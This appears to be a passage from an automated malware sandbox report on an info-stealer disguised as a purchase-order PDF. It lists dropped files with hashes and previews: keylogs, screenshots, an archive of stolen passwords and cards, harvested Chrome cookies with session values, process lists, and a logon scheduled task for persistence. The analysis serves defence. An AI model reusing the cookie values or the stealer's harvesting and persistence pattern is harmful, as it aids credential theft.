Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...%E..?..k^......uw].....]WW..o..(IE..$.0.Qr..`X.....AE.%.00.!3...a._Ou=u.z.W.]}..w..u..yOwUuuuu.S..9g.....Z..k...Z...........Z./#..yc.ko].."f..Y....xf........[cB:...U..[.#.O..0k.7.X......Y..l...m..b..k..cj..u.+..c.:.r.X..!@i.PU.;O.:.L...<...kT..5.f.N.".u..k....S:.....5.?qL...Y...!B.....F.......y.......6...t<...5_.......,....I..Q......u....Q.c.K4.w..:6f..Z.G/...L.x...!.....6\|......Y.&.h.2.n..(3..........Q.._..........R.......%.[.s...w.$.w^s........q[....F.1..h.....C...;.5...#...u..@.d..c.#!..j@.}Am ...^c...^..N......}..8T.y2F..t3....&...5.l.j{..E........x=L...}...}.R.G..X.H.....#X....~.b...R.29.S...PuH.7..i\|.N.@.$.Y.._.......mZQ..cJ.S.......&.p(...R..;.o.(c..D.V0..1H..1......0.5...uDk...... ....>.o.9.Gx....P.s....5...P..P.SE..9..q..Q%:..ce...-.l.,..@i.(.`.9...f....M$.../.&...7.(. A.*M..., D.r.......e-;............/..I...5.3..E.N...52.F.?..c.....

C:\Users\user\AppData\Local\Temp\2023-02-22-10-34-keylogs.txt

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.573879400111298
Encrypted:	false
SSDEEP:	3:yRZjL0p8zFeFkTin:yRZ30qpeh
MD5:	0C9B7C9A9B20D63085D6B2ACB71BA98D
SHA1:	C048C79A89D02F26D9F239D75989F9A7B43D49BE
SHA-256:	4C904747D3DC1D1D58F9872F12FB4C080E2EFB1BDAD5E635F6BB58C44890196F
SHA-512:	B30C22BA744D454BD26A0D1087723D16F4A3898644D1F1F99820A9176D399FC43ABDED182CAAE403F0D26308038F1AE48AA1B3B12473DD5864BC4E034FAD07AB
Malicious:	false
Reputation:	unknown
Preview:	.[ Microsoft .NET Framework - 2/22/2023 10:27:10 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-22-10-40-29-screenshot.png

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	836511
Entropy (8bit):	7.9474861295148225
Encrypted:	false
SSDEEP:	24576:i1Q3FKK7tRGSHOn4amdu7qwloRaXhgJA1t/1:/37p8Su4aEu7qYoMXhgJAz1
MD5:	FB6337596ACF76EE685B99F876A9D746
SHA1:	470BA07D0D6E126B881D37898326B1A3F147F729
SHA-256:	AC78249C48966A0F7D4257BE9F5A4D46730B2F1F8EEAC896D2DF30660F5825F4
SHA-512:	ED72686F4A204A1ACE7CA6F0CC95E169BCD3069BDCF3F0518AA80C8EAF797A1C55F51CBD009C1E9F4AAE5BB33678E10832880583EE99A13C997E4705814EA67C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...%E.......HC....(`X..kXu]......J....C.Q.0!.IPqW.4H..a.!.&.d...V......O....}..s......z.s....X.}f`..V{.....cp...\|....?.0...X}..5?.0..g.$..Yw.b..X....I.Q...mC....~0..R...P.5l....k.Q.b.\...{>....{...$..+....y...1..!@i.P..;N.:...Z.8.....&..B.".e..sU..}G.P.T...g.V%...\.=.....Ch......u:=:..".q;..k ....r..O._a...C.=Q.zQ.\|.....[%....4V...w..T.0........dp..3X..l.).5C6.p...G....E..}......B.......s.k......q]....E.@}j....:p.....v...O..G...kn.@..a.....y... .s{...{..:}%......hs{.Cu.'cT.N7b.X...B.8[...'PZ..;.....[.4.{.&K...!.q...rD.V......Pw\|..S'.............U.......o.Q..7.@.....D#..A.M-2.bHf.j.....,...=..(...!...2..T..s..ihX.i.`u........W.........B....l..@iK(j.(.)...9..q..Q%:..ce...5.l....@i.h...r.........@...N_..FE.n..)...Tip.H..i.A..`.;.-.l.+;?B..>..Q;..L....._#..jP$..g.^#.j..#.1. /@...c.h{.J//.._VA...S/s..n..EYY..X...)%..tzx\|.F._-P.u..I$.ZD....R.i..

C:\Users\user\AppData\Local\Temp\2023-02-22-10-41-keylogs.txt

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	45
Entropy (8bit):	4.171277052658107
Encrypted:	false
SSDEEP:	3:yIeDKZFTF0v:yI8uFF0v
MD5:	BA5B4285D6E4BEFF362126CEF597B134
SHA1:	68AECBFB0C4F2A76E971412521E940810B969FBE
SHA-256:	06C9709BB61C643F3D37BEE8C375D42F3B5C7F13421BAFA7F0B654B77D23CE10
SHA-512:	744483B07B3E6EC25A0559E0697934F7248D91A133E137CF5DA022E0188AF9D10D17968C7A361F0DE3F95F7FFC4A458D5A843D46F6275EB569D7E6BFA0D379B5
Malicious:	false
Reputation:	unknown
Preview:	.[ Program Manager - 2/22/2023 10:40:29 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-22-11-09-24-screenshot.png

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	824400
Entropy (8bit):	7.9576618490266515
Encrypted:	false
SSDEEP:	24576:3/MRny7+moJsGV4WO4hFyXWLrYsZ1b5wR:vMRny7+psqhFymLrhnb5wR
MD5:	59EEC6A27C8F2FE3EAF11725D4477314
SHA1:	04DD0AB21B206B004A846F95C7AEB930EE078C29
SHA-256:	8CC4D1939A2E77936B4C5BFA9C1FBAF84E7C53A0011943491F854B6E198349B9
SHA-512:	5A39478498AA8C7E74B99C3E087981A57A87A92AEA61DF702F8B3907F2B58739A7EA41BDEC5D830C21E261073BBD99375AF392832166F64CCEFAB389A71AC74D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...$Gu.}..... .s&.&..X"J$.6\|.`.k....Jd.A..('$.D0i%!... ....j.U^..U.v....Ss.....zz...<.gf*.:...3SSk..L...u^c..}.cz.?..Y%S..y.....c...6xC.....X..g.7U..[b6zsL.G.R...l.]=".t./.S......]......b.\..m{..........c..e.U.K...0m.J........S..._..O.]0...E..(p}....S:J.........;...#..K.p.P~.o1'4.O.G..(........6......_c..:f.{..\|Q.t.......>...+x.X....~.5.F.D{z.L.om....=z6.f.........P.]4....&o...4.fo+.....43..d..@iV....P..M..&o.Ac.....u.>..q+.u......J.~.3..oU........E.@kj....9......v.k....G.......d..o.#!..j@.}Am .....u+......Q7.......l.j;O...n..2.kBK;[....'PX..;.z....^...`L..r.CJ..D..G....@.#X....[.Tg........L.`.b@.!.........M. ...........mZQ..cJ.).).M...&..P.6....wD....}<..........:&.`g....E.@kj....9......v.k....G...^.B}2T.\...@ak.........l.j;O...n..2.kBK;[....'PX..;.z....f.....H.#..$.........ZTis.Hc.!.........u..+.?Bw....../.... .........t....a5Z.#P.k....#AeL..kT

C:\Users\user\AppData\Local\Temp\2023-02-22-11-09-keylogs.txt

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.624895835336547
Encrypted:	false
SSDEEP:	3:yRZjL0p8zFeFNVuXjhCv:yRZ30qpe7aa
MD5:	513E6CFBB33663E5C17105954D4E8489
SHA1:	87E6556EB6A0FCEC7B33A29A6A01D24CEB9EE28F
SHA-256:	F70CA002B52D10DADC75323B72D7C80F70F5A995A727F1D62FCF436D3D35F024
SHA-512:	CAD303A518707EF73250066491907950060F8415DC017EBCAE9230852126A1E2AFC9D3A9A7DE0D1827AFC6A2C307507C184E20DB3CA50CC6B0287090F468705F
Malicious:	false
Reputation:	unknown
Preview:	.[ Microsoft .NET Framework - 2/22/2023 11:09:24 AM ].

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\Zip.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	861688
Entropy (8bit):	7.9979818645249745
Encrypted:	true
SSDEEP:	24576:vpf+Ab/JSQbwhudV7a+HpFHTR7Haue0iaAltVpo:vx+Ab/AxQdMOFlTvQJo
MD5:	50DB2C80238DD214298A71E0D5A0AC84
SHA1:	C0F028E239B6BE0C56BF3068BB4C44CFCB51E870
SHA-256:	829F6380FFB027ADD1EBB294A0BA8EA0FCE3DD2BA16C97873B4C99EFC212C6A7
SHA-512:	8CC223A84DDBCD6811F96F354640C891F0E080F720E09A1F03A112C8256E3258341BE2F600EBEAF4781C58BB0CC49D2D5DA75CBAEE87E2F9B087B2A6CDCD1D50
Malicious:	false
Reputation:	unknown
Preview:	PK........WMVV................Cards.txtPK........ZMVVk..[....L.......info.txt...N.0.EwK..;&...PU:..0.D-...`5..EbG.Q.z.0......U...#,p..JI....`......"..w.wck7xL.vR,m0........t&[.K.h....n.%).t"......j.]..1%.e....0.).......K..:.#..L.6."......3..+.........5..#.hB..b2.....&......PK........WMVV................Passwords.txtPK........UMVV.9......=2......ProgramList.txt.[.r.6..g&.=.s.C..o.O...Dc.i....h(B.I.y..r....5......):1YZ.....!.....`w....XEa.t.^.3...../b.....3....'o.I........N.u\|R.:I.,.c9AGa&.?..@.S.}"....>:U...f..t."..FOeZ..1..yj....oT.....=+.g.LNT..5.p.K.s-.].....a.c...A^...M.,...<.}....c.`.v....`A.............1.4Mt.:. .z.N.k.v..a...~.Z..d....lB......\|>).@......-..!...J[<...g... .....^I.u..cb.g.".....`.aD\|M?.D....q....%.....R.....t.T.....=..-2.QnT..V..6...X...\|..qE.w..{.*C..ooG..H..=B...q...$ .v.V.....9 .......\|.....I}....#......2...C.^..VIVC.....T....M....r.C.j......}pP ...k.z..}./~..J......V...+.....WJ.......j. 3!...a&.}.Y..jw...HNm.^^...0

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2\Browsers\Chrome_Cookies.txt

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1477
Entropy (8bit):	5.584412048418626
Encrypted:	false
SSDEEP:	24:ZV1M/Ksl2C2AcfIZ9idIqdIRs4IZPA0Cr0tsR19sj71ieWed:ZV11slCQZ3quoZI0o0ts9sj80d
MD5:	12D53D19CF6AABAE14C61512C18C3F2C
SHA1:	25505A8CB9587AF8696A3595F29017217D90BD2C
SHA-256:	3AC379FEA4000D177F4252509FCE743E721853707350F8EFF9CB6DE4A9B4A23B
SHA-512:	939820A0EF165A4EEDE202E4474C3C00F029E42561582578E696C1192C503BE6B8B44A7FE1A138323395E1224080AF4D1B2BCA5D2FD9C6282D4C15770CDEFBDB
Malicious:	false
Reputation:	unknown
Preview:	.support.google.com.TRUE./.FALSE.13305157795339288.SUPPORT_CONTENT.637962485686793996-3320600880...google.com.TRUE./.FALSE.13305157795806146.CONSENT.PENDING+904...google.com.TRUE./.FALSE.13305157886012619.AEC.AakniGO7HqlHWlnoY-P22_SwwnNSfVGxlF1NgK5nuj5WLe313NyJi16g7z4...google.com.TRUE./.FALSE.13305157892864525.SOCS.CAISHAgCEhJnd3NfMjAyMjA4MDgtMF9SQzEaAmVuIAEaBgiAvOuXBg...google.com.TRUE./.FALSE.13305157893491072.NID.511=nUT82hOv6CVwMNqDg-sTtCMJJ6SQ1v_cCpfCpf5nt8EolEbal01GWFyjG01tqWQgh9ciRU880J6nLd2gdbhAJs44PsHAZaVQAFIbrqe2FmFgjrAAK7W9Z8u5LDvwsuZRng98jP6E23SJ4fsPIs326YmnuCwa92dRRCcB6MNeI_o...google.com.TRUE./intl/en_uk/chrome.FALSE.13305157898232870._ga.GA1.2-4.172648318.1660684298...google.com.TRUE./intl/en_uk/chrome.FALSE.13305157898233867._gid.GA1.2-4.1640056110.1660684298...google.com.TRUE./chrome.FALSE.13305157898377865._ga.GA1.2-2.172648318.1660684298...google.com.TRUE./chrome.FALSE.13305157898378865._gid.GA1.2-2.1640056110.1660684298...google.com.TRUE./intl/en_uk/chrome/.FALSE.1

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2\Browsers\Chrome_History.txt

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	4.466343434906543
Encrypted:	false
SSDEEP:	48:Lcm1FZ6m3Zwm3MmqMVab+tcGanxcg0H13:LV9zJB3Fqwab+yGanOf
MD5:	F7A190879742AF43AAAA289131299430
SHA1:	63FDBE7DC3C8BABE51A8885877CE19DE87942146
SHA-256:	1B81B79F7604DCCC9A4F1B15D1DB33355E5C372EB0EE176E41A79A8A5F27F5E4
SHA-512:	A301574B245BD9E86522A34AB433EF884D9AADE347608C41D67C5A4850A4C953F75997926CFAF05AA7C4EFD1F9AD72C365FCF7333FA3B63CDD0772869153B61F
Malicious:	false
Reputation:	unknown
Preview:	-----------------------------------------..URL : https://support.google.com/installer/?product={8A69D345-D564-463c-AFF1-A69D9E530F96}&error=0x80040707..Title : Fix problems installing Chrome - Google Chrome Help..-----------------------------------------..-----------------------------------------..URL : https://support.google.com/chrome/answer/6315198?product={8A69D345-D564-463c-AFF1-A69D9E530F96}&error=0x80040707&visit_id=637962485686793996-3320600880&rd=1..Title : Fix problems installing Chrome - Google Chrome Help..-----------------------------------------..-----------------------------------------..URL : https://support.google.com/chrome?p=update_error..Title : Fix Chrome update problems & failed updates - Google Chrome Help..-----------------------------------------..-----------------------------------------..URL : https://support.google.com/chrome/answer/111996?visit_id=637962485686793996-3320600880&p=update_error&rd=1..Title : Fix Chrome update problems & failed updates - Google

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2\Files\desktop.ini

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Reputation:	unknown
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2\ProgramList.txt

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	12861
Entropy (8bit):	5.146432365744317
Encrypted:	false
SSDEEP:	96:xwI1IzJ0Npt0KY0DpaS0dVSWI8VIu5fKM0Aoc9OGObO0OROZO99OXcgc0cAO7cDk:aq0R0zU/QVWB
MD5:	8EE4E55FCF30BE8A76950F6F520204F6
SHA1:	46F5E3DB3B5E93699735411382E396AA7365BE9D
SHA-256:	970BD559D3828648528EF99AFC845069153123289C9A20E3B6E57EA4BF2CFC6C
SHA-512:	7679C52085223EE619EF85F4249EF2F55B802C6390181104816C6CFCC6F0F421210E6E6D2609324740158726522FF2A5A1B9B16A7ECDDF01A74D528B7638BD8D
Malicious:	false
Reputation:	unknown
Preview:	Application Name : Google.Chrome....Version : 104.0.5112.81....Installed Date . 20220816....Application Name: Microsoft Office Professional Plus 2016....Application Name: Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501....Application Name : Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005....Version : 12.0.21005....Installed Date . 20190627....Application Name : Microsoft Visual C++ 2010 x86 Redistributable - 10.0.30319....Version : 10.0.30319....Installed Date . 20190627....Application Name : Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702....Version : 14.21.27702....Installed Date . 20190627....Application Name : Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702....Version : 14.21.27702....Installed Date . 20190627....Application Name : Java 8 Update 211....Version : 8.0.2110.12....Installed Date . 20190627....Application Name: Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030....Application Name: Microsoft Visu

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2\ProsessList.txt

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2346
Entropy (8bit):	4.642789201562951
Encrypted:	false
SSDEEP:	12:f8M7dqpYlc3vlaqqsN7CqqA8M7TCqq+CMO8hTTCqqMJe4DCqRXRoq7CqGq7T7qqh:fZyxxZT6QTT57h3T0X6U+MIPv0ybdBl
MD5:	50E66AD31F6636EA4A7186450745256B
SHA1:	58CE7BBCA9F51248141D686F3DACE17BECAA894B
SHA-256:	3B44DB461CBF7CD69F8671E88BF2CFE44CF359B6E531E840BEFC52B8B2DD8A95
SHA-512:	B234883AE9055D463B4AEC9FF5F36D15E13A0B0B0764B106CAB5A352294A8BDFF86DDF781EA20CAB5D25FEA9291FC68D4C3215B984BA2761B15C1F3EC2B39BDB
Malicious:	false
Reputation:	unknown
Preview:	Name : RuntimeBroker....Name : svchost....Name : PIPjFQtPzRSoGoKoaVXVP....Name : services....Name : svchost....Name : svchost....Name : sihost....Name : dllhost....Name : svchost....Name : winlogon....Name : svchost....Name : dwm....Name : svchost....Name : dllhost....Name : svchost....Name : ShellExperienceHost....Name : svchost....Name : svchost....Name : Registry....Name : svchost....Name : PIPjFQtPzRSoGoKoaVXVP....Name : svchost....Name : svchost....Name : svchost....Name : RuntimeBroker....Name : svchost....Name : PIPjFQtPzRSoGoKoaVXVP....Name : PIPjFQtPzRSoGoKoaVXVP....Name : svchost....Name : svchost....Name : svchost....Name : SearchUI....Name : HxTsr....Name : RuntimeBroker....Name : PIPjFQtPzRSoGoKoaVXVP....Name : PIPjFQtPzRSoGoKoaVXVP....Name : PIPjFQtPzRSoGoKoaVXVP....Name : svchost....Name : svchost....Name : svchost....Name : smartscreen....Name : svchost....Name : RudGXFgqTDEzz....Name : svchost....Name : smss....Name : PIPjFQtPzRSoGoKoaVXVP....Name : svchost....Name : s

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2\Screenshot.png

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	820759
Entropy (8bit):	7.957895666675343
Encrypted:	false
SSDEEP:	12288:Z9/dFwtrnny7UhTmoVlHv9TjdumbW0QXdDph5KUyBToQwk1U/oMu/v1mkXrCAh:3/MRny7+moVDJQtng1BnwhAHm1m
MD5:	587A03C14A51C9CDA1F0BA67C5482CDA
SHA1:	2E03A5E8667A7D858AF92187CEFA7856BDD814B2
SHA-256:	EFAEAFA33B1FBCB6DB504288115722A70F761545D3BF117D7165AB267710AE14
SHA-512:	7CC70477D20ADBAB426A987B7462068C8C27C4EE4F3B3C38D2E1F78FCFB99411F65924A19C0BB4FE9FBA0362B4E212754A86D1EFB14F3B2E8156638440518F4F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...$Gu.}..... .s&.&..X"J$.6\|.`.k....Jd.A..('$.D0i%!... ....j.U^..U.v....Ss.....zz...<.gf*.:...3SSk..L...u^c..}.cz.?..Y%S..y.....c...6xC.....X..g.7U..[b6zsL.G.R...l.]=".t./.S......]......b.\..m{..........c..e.U.K...0m.J........S..._..O.]0...E..(p}....S:J.........;...#..K.p.P~.o1'4.O.G..(........6......_c..:f.{..\|Q.t.......>...+x.X....~.5.F.D{z.L.om....=z6.f.........P.]4....&o...4.fo+.....43..d..@iV....P..M..&o.Ac.....u.>..q+.u......J.~.3..oU........E.@kj....9......v.k....G.......d..o.#!..j@.}Am .....u+......Q7.......l.j;O...n..2.kBK;[....'PX..;.z....^...`L..r.CJ..D..G....@.#X....[.Tg........L.`.b@.!.........M. ...........mZQ..cJ.).).M...&..P.6....wD....}<..........:&.`g....E.@kj....9......v.k....G...^.B}2T.\...@ak.........l.j;O...n..2.kBK;[....'PX..;.z....f.....H.#..$.........ZTis.Hc.!.........u..+.?Bw....../.... .........t....a5Z.#P.k....#AeL..kT

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2\info.txt

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	332
Entropy (8bit):	4.559912907231699
Encrypted:	false
SSDEEP:	6:9lh0NCF2Rpj1hx0+A7JRXWQuGsLf15Ro1WcEuo8T:fNIpxXKRXWQzsLN5RJcfV
MD5:	0F67FAB9DF5EEB47F7D720C0ABC93270
SHA1:	F0CEEC9B018A8DEC6884835D910078DE1C958CFC
SHA-256:	CFD01F6AE866A84162544ECB841D1DB908B253A5F796B193684CE5411B43307F
SHA-512:	562E0BD68FCE11CE6A1E81EA1916640E27D254E07D69F05FCBE21C9D8E86F2274603A1BED0C30021336F64C9D1107E4F5462C8FE333BB9AEAC8272973E6640B5
Malicious:	false
Reputation:	unknown
Preview:	PC Name : 928100..Operating System : Microsoft Windows 10 Pro..Anti virus : Windows Defender..Firewall : None..Processor : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..Memory (RAM) : 8.00 GB..-----------------------------------------------------------------------..-------------Developed By th3darkly [ https://gomorrah.pw ]-------------

C:\Users\user\AppData\Local\Temp\Newtonsoft.Json.dll

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	407776
Entropy (8bit):	6.080910017085125
Encrypted:	false
SSDEEP:	6144:/+BWmtpZQYS2PjCLfjSCpkALDUbr0tJ0nzbWk:WPw2PjCLe3a6Q70zbR
MD5:	F75FE8D06448D07720D5456F2A327F08
SHA1:	DBA5D60848A7C24CE837225709D9E23690BB5CB3
SHA-256:	977998AEC486395EABA6CE5661648425A1A181CE18C2C87C6288AF62B87D5ECA
SHA-512:	EB05696F92881A698B7DEF0F8852286212A5EB235A2FF8A41460DEDBC6AE1964BFBEF613D3BEC736DF66525BF6E5A6C95FF5E0A71C904FA70B5C6675E2275A34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:Q.P...........!..................... ... ....... .......................`............@.................................\...O.... ..0................>...@......$................................................ ............... ..H............text........ ...................... ..`.rsrc...0.... ......................@..@.reloc.......@......................@..B........................H.......`e..............c..X...P .......................................R..p..4j../ux..;....B.6z.R...K.KT....i.r.p>.m~.p.?YQ.~16~v....J.h.}..k.......&...E....p..Ix..t;.uT7Ph..(.Rv:...y..qp...dX3...bu..{...."..}....V.(i.....(......}....2.{....oj...2.{....ok...B..(....&..(.......0...........oj........YE....{...............{...f...............f.......A...A...A...A...1...A...V...8<....t......{.....om...ol....or.....+U..om.....{.....o....oj...on.....o....o{...t.....o....o}.

C:\Users\user\AppData\Local\Temp\Zip.exe

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.043221621336474
Encrypted:	false
SSDEEP:	384:efG95w+2ykc8OAJ60Lk24jXPlfa3XEV/5bIFfYpB3:RY+6c8Oc642XPr3
MD5:	3AFD64484A2A34FC34D1155747DD3847
SHA1:	451E1D878179F6FCFBAF9FA79D9EE8207489748F
SHA-256:	BF78263914C6D3F84F825504536338FADD15868D788BF30D30613CA27ABEB7A9
SHA-512:	D21A519C8867D569E56AC5C93CE861A72F6853E3A959467BF8E8779664F99B5E8BE76AD27E078935191C798AEA05891960E01D9A0D52E2A33D34EC5A58C00448
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....eb.................D...6.......c... ........@.. ....................................`..................................b..W........1........................................................................... ............... ..H............text...$C... ...D.................. ..`.sdata..8............H..............@....rsrc....1.......2...J..............@..@.reloc...............\|..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp20E9.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1646
Entropy (8bit):	5.200681808329145
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBwtn:cbh47TlNQ//rydbz9I3YODOLNdq3k
MD5:	FDDB9210C766590C80894043BACE3E72
SHA1:	C98412BE04D95C0BB2774C68B6DB9933E2FCE5C5
SHA-256:	4F832C2436E208940857E9526A700B438D747CD992CE5A53316048E53F0A68D6
SHA-512:	C4F596E6DBDD70CD694EFF313F69134F3939394D776DC06D8B0E02AE4F9935627D55DCC664C835B9D3D293E60912BEAEFFA0D1C86104A12C0719B0E75D747371
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Local\Temp\tmp483C.tmp

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1646
Entropy (8bit):	5.200681808329145
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBwtn:cbh47TlNQ//rydbz9I3YODOLNdq3k
MD5:	FDDB9210C766590C80894043BACE3E72
SHA1:	C98412BE04D95C0BB2774C68B6DB9933E2FCE5C5
SHA-256:	4F832C2436E208940857E9526A700B438D747CD992CE5A53316048E53F0A68D6
SHA-512:	C4F596E6DBDD70CD694EFF313F69134F3939394D776DC06D8B0E02AE4F9935627D55DCC664C835B9D3D293E60912BEAEFFA0D1C86104A12C0719B0E75D747371
Malicious:	true
Reputation:	unknown
